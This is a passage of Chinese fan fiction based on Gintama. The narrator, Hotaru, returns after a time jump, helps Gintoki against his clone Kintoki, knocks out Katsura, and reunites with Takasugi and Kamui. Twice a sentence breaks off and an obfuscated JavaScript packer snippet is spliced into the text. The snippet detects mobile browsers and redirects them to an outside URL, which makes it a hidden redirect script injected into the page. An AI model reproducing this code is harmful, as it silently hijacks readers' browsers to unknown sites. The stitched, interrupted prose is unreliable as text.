“这不是重点,他连声音也很好听,像是那个五条X,折木X太郎,御狐X双炽,全是我的菜~”我把头拔出来,兴致勃勃地跟他分析。 “清醒一点,菜什么菜,老子饭桌都给你掀了啊!”银时气得掐着我的脖子死命摇,一脸的怒其不争,“你把我们组长放哪里了,阿银的声音才是这个世界最动听的!” 小玉看不下去,一人一拖把过来,“你们两位是来搞笑的吗?完全歪楼了!” “对不起。”我+银时。 “那到底要怎样做啊?”银时烦躁得抓头,“才离开一下,家就被偷了,还是个阿银的复制品!” “银时大人,要沉住气,你要明白现在的形势不是一朝一夕可以改变的。”小玉好言相劝。 “可是那家伙一朝一夕就把银变成了金,为什么我们要被模型使唤的团团转,又不是狂四郎!” 可惜,小玉的话他一点都听不进去,坂田银时整个人陷入对金时的敌对情绪里,暴躁得很。看到我心安理得地吃着冰淇淋,他竟小气地伸手掐着我的脸,不让我合嘴。 “呐,银时,他的数据里好像没有我,你说我为了你弃明投暗还来得及吗?反正你还有小玉陪着,我给你当卧底去,近距离去欣赏,不,去探查阿金的弱点。”我掰着他的手,很积极地建议。 “弃明投暗……要暗你就直接去地狱吧混蛋……”银时狞笑着收紧手指。 “疼!我就是提议一下,你不接受就算了,我怎么可能抛弃你呢。”我识相地放弃这个念头,从另一个方向提出建议,“你要不别正面挑战,试试从内部打击他?例如先跟他称兄道弟混熟,趁机夺回新八和神乐,抢回万事屋……” “怎么?老子的东西还要老子卖身去赎回来吗?”银时整张脸一片黑暗,红眸迸发无差别死光。 “要是阿银输了,去地狱前绝对会掐死你这个混蛋啊……放心,绝对不会留你遗害人间的!” 卧槽,他这话说得信誓旦旦的,当初我找死的时候怎么不见他那么想干掉我? 叹口气,我拿叉子狠狠地戳了那只手,等他不忿地收回去,才安抚般把巧克力味的冰淇淋球分给他。 “银时,你这心态不行啊,那个阿金现在游刃有余,你越急越容易出错。”我吃完自己的冰淇淋,抽空安抚道。 “你别光是说啊,干点有用的行吗?”银时不满地把冰淇淋塞满嘴,含糊地指控,“大话谁不会说啊。” 哎,一个冰淇淋球就放软语气了,还真是好哄啊,那别扭的样子我都想顺毛了。 “我跟新八碰了一下面,他还记得之前我的委托,那就是说经历过的是不会忘记。就算是现在的金时对记忆进行了换脸,你干过的蠢事也会按在他头上。” “昂?你是在强调阿银干过的蠢事吗?要不要提醒你干过的事有多蠢?”银时抓不住重点地拍过来。 “冷静点!”我想也不想地给他一拳,把他的脸按进冰淇淋里头冷静一下,“我意思是,那么完美的金时怎么可能做记忆里头那么蠢的事?这人设就冲突了,只要细想就会觉得不对劲。相信你的同伴们吧,他们一定会发现不对劲的,你只要把自己做好就行。” 银时低着头,没有说话。 小玉拿出纸巾给他擦了擦脸,笑着认同,“阿萤大人说的正是我想要告诉你的,银时大人,回忆不会改变,你做过的事,大家都会记得。” 我打了个哈欠,眼皮极想要拥抱彼此,跨越了十年,从战场上下来又淋了一场大雨,我还能坐在这里算得上体魄强健了。 人类果然就是越折腾越厉害。 “喂,你还好吧?都请你吃冰淇淋了血槽还没补满吗?十年过去了怎么你比以前还弱鸡啊……阿银可是一杯巧克力芭菲就可以满血复活的!” 要不是他的眼底有显而易见的担忧,我还真想抽他几下。他那体质绝对是猩猩亲生子的优待,别人根本没有可能媲美。 “银时,本来已组建新家庭的家人跟新家人之间的矛盾,我这娘家人就不好插手……”我不负责任地劝道。 “你妹的娘家人啊,真把我当坂田氏?”蹦着脸上的十字路口,银时抱手威胁地睨着我。 “婆家人……”我从善如流地改了口,偏头避过他丢过来的叉子,“咳咳,我意思是,要不假发交给我,我去让他清醒过来?” 老实说,其他人我现在还不算很熟,很难切入。桂不一样,他是家人,脑子有问题多打几顿也许就好了。 银时一下子就get到了我的想法,挖了挖鼻孔,“他脑子本来就无数黑洞了,你确定能搞定他?” “至少,他不会因为金时而成为你的敌人。” 顿了一下,我望着眼前由内而外均散发烦躁的男人,忽然笑着道,“不过,银时啊,我觉得能为了你连时空都打破的伙伴们,是不会输给这种机器人的。所以,别暴躁,交手的时候不能让情绪左右你,去做你想做的事就行了。不能解决问题,就去解决产生问题的那个东西,我永远支持你,永远站在你的后背哦~” 我双手撑着颊,笑眯眯地看着他神情从不爽慢慢转为平和。 “……回去一趟,就学了这些撩汉的话术吗?谁教的啊?”银时默了一下,死鱼眼褪去些许暴躁,语气也懒散很多。 我但笑不语,我们都很清楚,只有那个人会说这些道理。 瞄准了那个带着手下派发传单的身影,我纵身一跃从楼上跳下。 在时空跳跃之前我这个动作是寻die或者寻残,但走过从前岁月,从战场上下来的我现在跳个二三层楼真的是小儿科。 “假发——” 竹刀狠狠地砸在路上,地面裂出一条足以埋进一个人的裂缝,千钧一发之际侧身抬脚避开的桂目瞪口呆地看着我,“阿,阿萤?” “桂,这是?”刚要跟他打招呼的金时意外地看着把他和桂隔开的我,“诶,你是早上的客人?” 抬头朝他们一笑,我一个横劈把扑过来的桂打晕,拖着他的衣领不负责任地朝金时道,“哈哈,不好意思,我决定跟我老公离婚,现在我要找一个跟他差不多的小白脸过过瘾,失陪了,阿金。” 说罢,我不等他的反应,也不顾那边街角目睹这一切捂着脸不想听我胡扯的坂田银时,径直把桂拖走。 半响后,被我按着头埋在水池里的桂终于在求生欲之下醒过来了。 “阿萤——真的是你?还以为是敌袭后的幻觉!太好了,你终于回来了!”桂一甩湿漉漉的长发,双眼扑闪扑闪地望着我。 “假发,你还真是……完全不惊讶。”我有点感动,当年我走得急促,后面又混乱,都没有好好告别。 “不是假发,是桂!”桂微微一笑,“当年你多次说过十年后,我们都有在意的。哪怕那个人说你已经被杀掉……大家也曾绝望过,但最终还是相信你不会输的。阿萤本身就是个奇迹,时间一直停滞……后来,在拉面店看到你时,我也几乎不敢相信,原来一切都是冥冥中注定。只可惜,我还没把黎明带给这个国家,让你失望了。但你回来了,我们就一起攘夷吧~Let’s joy~” “假发……”我看着这个依然秀美正气的男子,他在这漫长的十年里头坚守着自己的志向,真正继承着松阳救国的思想,无愧于松下村塾小神童的美誉。 “假发,我回来了。”我朝他露出灿烂的笑容,给他一个拥抱。 “欢迎回来,阿萤。”桂摸摸我的头,忽然摸着下巴道,“对了,你有看到金时吗?他一定很高……” 提起金时,我一拳把他捶进地下,“假发,身为武士你居然这么轻易被人洗脑,连自己家人都忘记了,你的坚定意志呢?” 趁他还没把脑洞开得太大,我赶紧把金时的事告诉他。 “什么?金时是复制体?就像爱德华以炼金术创造了跟他父亲一样的复制体般,金时也是被人炼出来的那个银时的复制体?”桂一脸的难以置信,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坂田银时再次出现在我眼前的时候,一切已经顺利解决了。我坐在万事屋的门口揉了揉眼,困得不行,“我听到了,这条街的人都在欢迎你回来,人缘真好。” “躲在别人家门口打瞌睡的笨蛋,错过阿银的回归派对还嫌吵醒你?”银时蹲在我身前,抬手弹了弹我额头。 “吵醒我的不是他们的声音,是你这混蛋刚才给我的一脚。”别以为我睡得朦胧就不知道,哪有人对着一个姑娘的屁股踢? 流氓!我揉着额头被他拉起来,困得眼都快睁不开了,“你拉我去哪,我要回去睡了……累得想死。” 要不是担心这个笨蛋乱来,我也不会累得不行还在等他。 “抱歉,没帮上忙。”因为身体实在太累了,站起来就两眼发黑,这种状态让桂坚决禁止我出镜。 “谁说的,冲着你的信任,假发那白痴在催眠情况下也把那个金时的手臂给废了,还让他的手下帮忙减轻人群冲突,比原著还要多镜头呢。”银时说得言不由衷,仿佛不满意被人抢镜。 “啊哈,有被安慰到……你到底要拉我去哪里?”我几乎闭着眼被他拉着走,脚步踉跄了一下,手腕从他掌中抽回,他用了点力抓着我的手。 “看路啊,白痴。好歹是从十年前回来,这里来说已经失踪快半年了,怎么也得跟大家说一声吧。我们家的人可不会这么没礼貌,那老太婆都念叨好久了,你再不出现她们都以为阿银把你卖去什么奇怪的地方了。”拖着我走下楼梯,银时没心没肺地笑着。 重新拥有同伴的坂田银时褪去之前的烦躁和不安,恢复了我初见他那时的懒散。可是,我还是怀念松下村塾那个每天想着不让高杉占上风,念着变强的银时,战场上意气风发的白夜叉。 但我也知道,他没有消失,只是长大了而已。那个傲娇的小子因这十年的际遇,被他封印在灵魂深处,轻松的时候就会冒出来。 不必难过,原本就没有活人能停留在人生的一个阶段……嗯,除了我。 “你那一脸乡下老妈子看到儿子长大成人的表情是怎么回事?别给阿银脑补什么奇怪的东西啊,别忘了,你现在还是25,比阿银还小!别摆这种长辈谱啊混蛋!”银时仿佛一眼就知道我在想什么,没好气地瞪了过来。 “死心吧,这辈子你是没机会再当这种角色了,笨蛋。现在起你就死心塌地乖乖做我们万事屋的后备人员,阿银可以伟大地接受你的幼稚……和你的钱,阿银可是记得你说过遗产都是我们的啊……” 他死鱼眼全是毫不掩饰的算计。 那种熟悉的感觉扑面而来,我踩在最后的两级台阶上,伸手揉着他的头,俯视着他,“哎,我们银时现在都是不靠谱的家长了。年龄算什么,我可是帮你洗过尿床的被子……唔!” 混蛋,捂嘴别捂鼻子啊! “都跟你说过几百次那不是尿床啊白痴!是假发那小子倒的水……不对,这种连作者都不会特意交代过一章就应该翻篇的东西你给老子丢到地狱去啊!”他一手捂着我,一手直接把我挟在腰侧,阴恻恻地警告。 我奋力挣扎着,马上就要带着他的耻辱去地狱了! 唰的拉开登势酒馆的门,他干脆地把我丢进去。 踉跄两步我才站稳,抬头便看到‘欢迎回来’的横幅,登势婆婆带着凯瑟琳和小玉,新八,神乐站在里头朝我灿笑。 啪的一下,假发和伊丽莎白拉响了礼炮。 “欢迎回来啊,阿萤~” 我愣了一下,无措地回头看向银时,他打了个打哈欠,笑得漫不经心。 “受不了,笨蛋总是特别吸引笨蛋,你们就凑一堆吧。” “那也是沾了某个笨蛋的光哈哈……”我张开手扑过去抱着登势婆婆,“我回来了~” 从那个被人保护的家,回到这个被接纳的家。 …… “呐,银时。” “昂?” “我有好好地替你们问候了。” “啊……” 55.总督大人的专场 重新回到歌舞伎町的日子依然热热闹闹的,光顾过微笑酒馆跟阿妙等姐妹们划拳喝点香槟王,约上猿飞一起去吉原喝了一场美美的花酒抱了几个新来的美貌太夫,去人妖店安抚过因为我太久没出现而担忧的壮汉们…… “给老子找点正事做啊混蛋——” 还没数完,突然冒出来的银时一个后踢把我踹出了依靠着的那个胸肌厚实的胸膛,随后把我丢出人妖店,而他本人则被西乡扣下了,因为我还没付钱。 打着哈欠往回走,我有点郁闷。 明明揪住了他去吉原帮忙的时候才去的人妖店,怎么还是被逮了?有人告密了吗?他们不是接了月咏的委托,去帮那个倾城太夫的吗? 因为刚下战场,我对幕府还有着极大的反抗情绪,看到真选组路过都想丢石头那种,明显有些战后PTSD。所以我顶着坂田银时威胁的拳头依然坚定地拒绝加入这次委托,只想养养身体。不过他们好像把目标定在上任将军,也就是那个出卖他们的德川定定头上。 “真是笨蛋,自己分明就很想干掉那个人,还帮他去见旧情人……” 发下肃清攘夷志士这种命令的,就是那个定定本人,我对他毫无好感。也亏得以前就知道万事屋干万事的宗旨,不然我都想撬开银时那脑子看看是不是有虫子。 拼着挑衅国家的罪名也不过是为了年迈的太夫实现承诺什么的,不得不说,这样的万事屋有点帅。 摇摇晃晃地踏入巷子打算抄近路,蓦地脊背一寒,那种危机感的警惕狂袭,我身形爆闪躲开突如其来的攻击。 回眸之际,一抹橘红色晃入眼帘。 “神威?”我滑行向后,震惊地看着披着斗篷,杀意盎然的俊俏小哥。 那是,长大后的神威,杀过我几次的那个。 “重启键小姐,我们又见面了~”神威笑眯眯地偏头,“还以为你挂掉了呢,没想到还活着。” “啊哈……所以呢,你现在是想夜王了吗?”刚才那一记要不是躲得快,我大概就要重新回到那个天花板了。 “挺意外的,你好像强了不少,整个人的气场和眼神都变了……那是杀人的眼神,真漂亮。”轻眯起那双蓝眸,神威意味深长地低笑。 那可不,我可是从和平使者进步为战争名人,虽然那个外号我压根儿不承认。何况,我还见证着他小屁孩离家出走的全程呢。 眼疾手快地抓起堆在一边的废弃拖把,我踢飞他的手刀,狠厉地挥舞拖把还击。神威似乎没料到我的进步这般大,狠狠地撞入墙中。 我撒腿想跑,没有武器在手,身体还在休养中,我不想这几天喝的补药浪费。 哗啦一下,他整个人从墙边冲出来,狠踢在我身边。碎裂的石块飞溅,其中一块击中我的头,一时间鲜血直流。 我捂着头,血模糊了眼,才擦了一下他已攻过来。蓄势待发地摆好拔刀姿势迎战,没想到一道身影从上面跃下,干脆地把他踩进地里。 男子一身暗紫色金纹浴衣,拿着烟管,俊秀的脸上缠着绷带,踩着神威高居临下地俯视着他,语气阴沉狠戾,“臭小子,谁准你动她?” 我愣愣地看着眼前的人,怕看错般揉了揉眼,忘了手上带血了! “痛……” 头上一痛,随后听到他无奈又嫌弃的声音,“蠢货,脏就别乱揉,眼睛不要了吗。” 短短一句话,声线比昔日低哑,语气总有股萦绕不断的阴沉。但就是这样的声音,让我瞬间热泪盈眶,“晋晋……我回来了。” 高杉沉默了一下,淡淡地哼了声,“见到了。” 这是我最后的机会! 我伸出手,哽咽着道,“快,我要抱抱。我一生行善积德,感人至深的重逢场面我值得拥有!” 一只穿着草鞋的脚丫啪地一下踩上我的脸。 “离家出走十年的混蛋有什么资格?” “高杉晋助你个死傲娇——” 头上绑着绷带,我哀怨的眼神死盯着那个靠坐在窗边,一脚曲起闲适地弹着三味线的男人。 哼哼,就算如今的他褪去少年的青涩,一眉一眼染尽邪魅,随意的坐姿露出白皙小腿放荡不羁,对女人非常有那种危险的吸引力,但……我还是不会原谅的! 我的脸!我那漂亮的脸蛋,居然被他那鞋底给踩了!他到底怎么做到把腿提那么高的? “喂,女人,不许你用这种眼神看晋助大人啊!”金发的辣妹来岛又子进来就看到这画面,顿时以枪指着我吼道。 我正不爽她还送上门?我早已不是当日什么都不知道的我了,还想枪指我? 挑了一下眉,我转身扑过去一把抱着高杉的腰,“哇啊,好可怕,晋晋,有人要枪杀我~” 示威般把脸贴在他胸膛,我笑得茶茶的,眼神挑衅。 “啊——”又子整个人都抓狂了,想也不想朝我开枪,“给我放开晋助大人!” 子弹落在脚边,连飞弹而起的弹壳都没碰到我。 “好害怕哦~”我朝她比了个鬼脸,若不是她身后那个穿着黑色男装和服的武市变平太抱着她已扑过来了。 “阿萤。”一根冰冷的手指戳在我额头,把我推后,高杉冷冷地俯视我,“闹够了。” “晋助大人,我绝不承认,这个弱不禁风的女人就是当年足以让整个幕府都忌惮的影子杀手!”又子一双美目喷火般瞪着我。 听到那个代号我不愿意了,连忙举手义正辞严地申辩,“我也不承认,别乱说,我不是,我没有!” 其他都无所谓,唯有这个不行!那么挫的外号我才不要! 高杉一愣,哼哼地低笑起来,笑得整个身体都颤抖了。 又子错愕地看着他,又咬牙瞪了我一眼,慢慢地收了枪。 她身后的两人走了进来盘腿坐下,一个带着墨镜的高挑男子悠悠地开口,“看来真的是她。只是让人意外,阿萤大人居然还活着,传说在当年已经失踪,幕府宣称已杀掉了。” “不得不说,作为35岁的女性,阿萤大人保养得很不错呢。”武市变平太很是认真地端详着我。 我翻了个白眼,都是一群睁眼说瞎话的,之前他们就调查过我,知晓月见萤在吉原的过去。现在因为高杉,他们看似全盘接受跟调查的细节完全不同的说法。 但是,我没义务对这些人解释什么。 “不,”针对那句35岁,我提出异议,一手勾着高杉的脖子,下巴搁在他肩膀,“晋晋,告诉他们,我是永远的25岁。” 高杉瞥了我一眼,无声地勾了勾唇。 “你这女人赶快从晋助大人身上走开!前辈你别拉着我啊!”又子顿时怒了。 我凑近高杉耳边,小声地问,“他们是你的新家人吗?好活泼的样子。” 高杉没否认也没承认,只是淡淡地介绍了一下那个高挑的男人。随后他把三味线丢开,张开手搭在窗台上,靠坐在窗边。 “阿萤,你知道我在做什么吗?” 他低着头,过长的刘海遮去大部分表情,声音低沉如大提琴和弦拉动,淡淡的烟草味从他身上传来。这样的他对我来说非常陌生,陌生得让我心酸,甚至破天荒地觉得有点危险。 太过分了,太狡猾了,他们按部就班地度过了十年漫长的人生,慢慢适应这种巨大的改变。而我却一下子跳跃了这十年,仓促地接受这一切变化。 那日之后,高杉的愧疚与痛苦在这十年磨成了如今的冷虐,可我真切地感受过的他的绝望却依然鲜明地刻在心底。但如今我连流露出来都不敢,生怕再次挑起他们的痛。 我忽然觉得好心累,比身体的劳累更无力。 意兴阑珊地摇摇头,我直白地道,“倒幕呗,其他不知道,你应该清楚我才刚回来几天,什么都没来得及打听。” 说着,我都有点委屈了。回来没多久,受到的冲击还挺多,身心皆疲。比起银时的无赖胡闹和桂的脱线,我更不习惯高杉形于外的危险。 “啊……是啊,光顾着去喝酒,去吉原玩乐跟女人鬼混和安抚人妖了。”高杉抬眸瞪过来,目光锋利如刀,隐约带着谴责。 我一愣,这种浑身散发的别扭又郁闷的气场太熟悉了,属于他的傲娇气息破开冷虐的外表。 这……他怎么知道的? 噗嗤一下笑了,那种莫名的陌生散去,我申辩道,“我经历了那么可怕的事,当然要治愈一下,不然都要有战后PTSD了。而且,我也不是光干这些的,我还做了很多有意义的事,比如……嗯,就是……呃,那个……” 数了数手指,好像还真没干几件正事,最正经的居然是代桂去开了个攘夷会议,见到了一堆十分好骗……不,善良的志士,还撞上真选组突袭打了一架,差点被冲田认出来。 本来不想去的,但桂说感冒发烧了快要病死看不到黎明,哭得梨花带雨地缠着让我帮忙。结果最后混乱中他忽然冒出来扯着我就跳楼逃走,落地时被路过的银时以欺骗无知女人(我)触犯安全条例的名义揍了一顿。 高杉默默地别过脸,叹口气,“你啊,别在那种地方混了,你跟他们一起脑子都要坏掉了。怎样,要加入我吗?” 他偏头看过来,独眸流转玩味的笑意,薄唇微勾,似是嘲弄又像是随意的轻漫。 我学着他的样子偏头想提醒他,虽然银时他们也不务正业,但不要说得自己在做很正经的事好吧。 哎,激进派攘夷头子,朝我抛出了橄榄枝,可喜可贺。 没等我回复,门唰地拉开,神威笑眯眯地走进来,“那可不行,晋助,这位重启键小姐是我的猎物。” “喂喂团长,别不敲门就进啊,真是的。”他的身后,头发长了不少,面容沧桑很多的阿伏兔挠着头弯身走了进来,无精打采的眼神透着带娃的疲惫。 我愣愣地看着他,浑身骤然一寒。 好可怕,带娃十来年而已,阿伏兔从一个帅气小伙子成为这样子,我摸了摸自己的脸,决定还是晚婚吧,越晚越好,能不生就不生。 头上一痛,我抬头,是高杉那张你又在瞎想什么鬼东西的脸。 “呐,你现在很强哦,给我生孩子吧~这样我就不杀你了。”神威话音才落,三味线朝他丢了过去,他利落地闪开。 “说过了吧,她不是你能动的。”高杉眼神凌厉地看着他。 “为什么?她是晋助你的女人?”神威不惧他,笑容不变地问道。阿伏兔无奈地捂脸,不想要面对的样子。 我也很好奇高杉现在的回答,偏头看着他。 沉默了一下,他随手拎着我的领子站起来,“她只是……家人罢了。” “晋晋~”我一把抱着他,心满意足。这句家人,不说万斋他们吃惊,就连我抱着高杉那位又子小姐都不敢对我举枪了。 他们大概误会了家人的定义,但没关系,我不在乎他们的想法。 真好,再怎么变化,我想要的,我一直坚守的,都没有变。 神威嗯了一声,笑容微敛,仿佛故意般道,“这样啊,那不太好杀,不过都杀了好几次了。那还是让她给我生孩子吧。她的话,应该能生出强悍的孩子。” 脚步一顿,高杉阴沉着脸,凉薄地道,“就你还不够格。” 真是让人无语,神威的挑衅也太明显了吧,他那么想跟高杉打么?还有,他生育观也被扭曲了吗?小小年纪就想当爸,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196291|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么缺爱吗?养娃的后果他还没从阿伏兔身上看到啊。 教育靠男人果然不行。 我笑着拍拍高杉的肩膀,看向神威,勾唇轻蔑一笑,“姐姐我不喜欢年下,死心吧,小兔崽子,尤其是那些抛弃妹妹和病弱母亲却依然不能战胜自己的笨蛋兔子。至于杀我的话,无论多少次,结果都是一样。” 挑衅踩雷区,谁能比我精通? 被我毫不留情地戳中了痛点,那双蓝眸蓦地泛起剧烈的杀意,强烈得让高杉和万斋等人瞬间戒备,阿伏兔表情一凝,看了过来。 没有理会他们,我推着高杉的背走出房间。 “杀几次是怎么回事?那就是你养过的小兔崽子?”忽然,高杉悠悠地问道。 他居然记得? 我微愣,旋即笑着点头,避开那个杀几次的问题,“他是不是不懂欣赏美食?不过挺好养,光给白米饭就行,给你省钱。” “这不是重点好吧!” 被高杉拎到船头,我看着明月当空的夜色,随意地给他递了杯酒。 “你的身体现在怎样?” 我抿酒的动作一顿,老实地摇头,“不知道,银时跟我说那个源外老爹对机械很有研究,我打算过两天找他看看。而且我才回来几天,没什么感觉,就是觉得很累。” “源外么……他是三郎的父亲。”高杉的语气有点异样,大概可以称为怀念吧。 我点点头,桂有跟我说过这个,也提到三郎在那不久之后就被幕府肃清了。不但是他,当年鬼兵队的人也在后来陆续被杀,所以高杉比他们更痛恨幕府。 回来之后,无论是银时,桂,还是高杉都没跟我提起松阳,他们以为我不知道,我也不想要撕开他们的伤口。 至少,不是现在。 “齐藤……还活着吗?”我低着头,问道。 “我把他和明里葬在一起了,他姐姐也同意。”高杉干脆地道,拿起酒瓶晃了晃,“黑子后来不知所踪,应该还活着,泽木倒是跟着辰马走了,不过后来听说自己单干,估计受不了那么蠢的队长。” 他索性一次过把跟我关系不错的人都说了一遍,表情都没怎么变化,带着惯有的阴沉,但眼波流转间总有几分寂寥与深刻的孤独。 还是没变啊……看着比银时他们都要危险,外表跟以前分别最大,但实际上对同伴永远有一份牵挂。我敢赌100块,银时他肯定不记得黑子是谁了。 “啊……挺好的。”齐藤的死我是有心理准备的。我吞下伤感,换了个话题,“晋晋,之前假发的人说你一直在京都活动,怎么来江户了?哦,你应该还去了宇宙,神威那家伙不是在春雨的吗?他叛变了?” “春雨的事你别插手,他们现在可护不住你。”高杉冷哼道,顿了一下,“我来江户,是为了杀一个人。” 杀人?我微愣,忽然间,远处一阵巨响。 我抬眼望去,是江户城的方向,隐约看到月色下那座巍峨的城楼塌了一角。眨了眨眼,我好像猜到了。 “哼,银时那家伙带着两个孩子玩的过家家还是一如以往地胡闹。”高杉说这句话的时候没最初我听到的讽刺,隐约还带了点期待。 “那是将军所在吧,真是胡来……他也就这点没怎么变。”我笑了笑。 经过一场时空跳跃,我对幕府说不上深恶痛绝,但也毫无好感。 以前就喜欢奇袭的笨蛋,如今一如以往地喜欢乱来。真好,本质这种东西还是一点都没变。 “你又要坐收渔翁之利吗?”我看向外表变化最大的男人,感觉他也有些本质没怎么变,就不知道铃兰太夫这个事里头他有没有插手了。 “怎么,你替他不忿?”高杉冷笑,眼神微冷。 那种莫名的危机感又袭来,我摇了摇头,“挺好的,就算有机会……现在的坂田银时大概也不会杀他。你想要做的话,就去做吧。无论是将军也好,上任将军也好,窃国也好,这些在我眼里都不重要。要我帮忙的话,只要不伤害银时和假发,我也可以。” 当然,其他重要的人会被他们两个护在身后,这些就没必要刺激高杉了。 高杉静静地看着我,蓦地笑了,“阿萤,你根本不知道后来发生了什么……那些人,都夺走了什么,这个世界……如今我只想要毁掉这个世界……就连你也无法……” 他越说语气便带着越诡异的激动,独眸里头的恨意几乎要倾泻而出。 无视那种明显的危险警示,我靠在他肩膀上,轻声道,“不是哦,我知道的可能比你还多。所以晋晋,除了你们,其他人都无所谓,世界也可以毁灭,我只要你们平安,好好活着。这是他跟我的约定。” 高杉没说话,急促的气息慢慢平复,没推开我,只是低声问,“老师他……最后跟你说了什么?” “一些我还没搞清楚的事,不过……他希望你们走到未来,活在有光的地方,要我照顾你们。另外,他说……我是他留在未来最后的希望。” 一开始我以为是想要我照顾他们的意思,但如今总觉得有些不对劲。现在的我还想不出来,等我找到能问的人,自然就能推算出来。 沉默了许久,高杉才敛去所有的情绪,慢悠悠地道,“照顾我们?老师也太瞧得起你了,你不乱惹事,我们就已经满足了。先把自己的身体搞清楚吧,永远25岁什么的也太不吉利了。” 直到此刻,他给我的那种危险的气息才真正散去,我放松地靠在他身边,垂眸看着他袖子上的金蝶图纹。 “哪有,这不挺好的吗?你们都老了,我还是年轻貌美。”我举起酒杯,笑着向如银盘般的月亮,“敬25岁~” “都说了不吉利!” 56.谁坐收渔翁之利 下船之际,高杉还是坚持不让我插手这件事,我怕又要许久见不到人,便拜托他帮忙查点东西。桂跟我提过,他这人出场次数只比辰马好一点,经常只能在OP和ED看到。 “阿尔塔纳?”高杉听到我要查的东西后脸色非常古怪,再次露出那种无奈又鄙视的神情,仿佛我又说了什么蠢话。 “对,”我点点头,很认真,“我想知道那是什么东西,有什么用,地球有没有。” 当然,我更想知道地球有没有变异体被知晓……但这些我不敢让他知道。 他看着我,眉头抽了抽,“阿萤,你知道宇宙终端站的动力吗?” “那个叫龙脉的东西?怎么了?”我去宇宙旅行的时候有听过广播介绍,但那关西口音很重我没认真听。 他忽然叹口气,强忍着什么般,眼神仿佛在鄙视我的同时又带了点同情的意味。这种眼神看得我莫名的郁闷,我很少这么认真,结果他的表情跟以前忍受我和桂犯蠢一样。 没等我投诉,他骨节分明的手按在我头上揉了揉,语气像是妥协般,“算了,我让人把资料整理给你,你别自己去查什么乱七八糟的东西。” 我哪有?我拍开他的手,指控地瞪着他。 “你杀掉那个人之后就走了吗?”这个年代见一面都这么难,我有点伤感。 不过还好,我刚偷偷加了又子的联系方式。有高杉作为靠山,这个暴躁的丫头对我来说毫无威胁,还挺可爱的。 “把身体养好后,就来鬼兵队吧。反正,你也没什么正事可以做了。”留了这句话,他便转身走入船舱。 我耸耸肩下船,暗忖也不是不行。攘夷也是发展事业,而且我有经验有人脉,又有不错的单位愿意收,好像也没什么不好。 当然,按我以前的职业规划,其实应该去投考警察。但真选组……算了吧,总觉得他们像流氓,而且银时老说那是基佬窝,特别提醒我别去屯所那边,路过也不能停留。 “喂,这位小姐,叫阿萤是吧?”阿伏兔趴在窗边,朝我说道,“你会做饭吗?要不要加入我们团?我们团长只要能做白饭就好了。” 我看着这个曾对我无限容忍的男子,笑了,“偏食的话会长不高的,像我们家晋晋……痛!” 高杉那混蛋拿烟管丢我! “先把你们团长搞掂吧,他杀了我,大家就重新再来一次哦~阿伏兔。” 不放心去江户城的附近看看,夜色已深,但我还是一眼就看到那三道相扶相持的身影,后面还跟着两个窈窕的身影,摇摇晃晃地走出一堆警察重围中。 “银时!”看到他一身的血迹和那身僧侣袍都掩不去的伤痕痕迹,我吓了一跳跑过去,“怎么伤成这样?你们都干什么去了?窃国吗?” “嘿嘿……最后那三个字说得那么兴奋是怎么回事啊?声调都明显提高了哦……”银时吃力地挣眼瞥我,看到我手上把玩着的烟管,顿时死鱼眼瞪过来,“又跑去哪里跟谁鬼混了?” “鬼混你妹啊,看看后面,你自己惹的风流债还在好吧。我才要问你呢,这一身伤都可以在医院躺个几天了,你就这样跑出来?” 这人真把自己当高达还是不死鸟吗?再天赋异禀的身体也耐不住这样折腾啊! 怒气扬起,我忍不住瞪着新八他们,“你们也是,自己都伤得不轻,不治疗就算了,怎么还纵着他一起胡闹?还有,你们在拼命也就罢了,那么多警察一个都没帮忙叫救护车吗?你们的命就这么不值钱吗?” 黑黑白白站了一排又一排,还有一个戴帽子叫将军的家伙被保护在其中骑着马看这边,这么多的人怎么就没一个知道叫个救护车?光杵在那目送有什么用? 我不忿地看了过去,他们的命是命,我们家银时和这几个孩子的命就不珍贵是吗?越想越生气,想杀人的心都有了。 “喂喂,你眼神给阿银收敛些……那可是全江户的警察部队啊……”银时咳了两下,忍不住伸手把我的脸扭回来,气弱地提醒道。 “我们……情况很诡异啊,我们本来就是硬闯的……”新八欲言又止,干脆地换了个话题,“阿萤姐,银桑的伤很重,都说了去我家,但他又……” “不,还是去吉原吧,到底是因为铃兰太夫的原因,我会安排人好好照顾的。”月咏身上也有伤,闻言坚持道。 银时不乐意,烦躁地嚷道,“说了都不用,这点伤回家躺躺就……” 剩下的话被我瞪得说不下去,他压着嘴角,红眸心虚地移开。 “银酱,还是去医院吧?”神乐担忧地道,“虽然那里有凶巴巴的护士长,但是听说最近新来了几个胸很大的护士啊鲁,之前那个飞机场已经离职了啊鲁,你就去那里吧。” “混蛋,”银时一掌乏力地拍在她头上,眼神一虚,“阿银是这种人吗?” “你就是。”我+新八+神乐。 “啊!烦死了,”炸毛地甩开他们,银时咋呼着把手搭了过来,“老子腰都直不起来了,你还净说些混事,赶紧搭把手啊。让你来帮忙你说身体不行,结果是去跟男人鬼混,不是很厉害的吗?不是都对那老头不满的吗?结果到最后,真正不满的只有阿银?” 他整个人朝我压过来,肩头一重,耳朵都快被他吵聋了。我无语地翻个白眼,把手机丢给新八,“新八,神乐,给我叫车,不是大声叫的那种,叫出租车吧。我要把这笨蛋送去给那个凶巴巴的护士长。” 新八连忙应下。 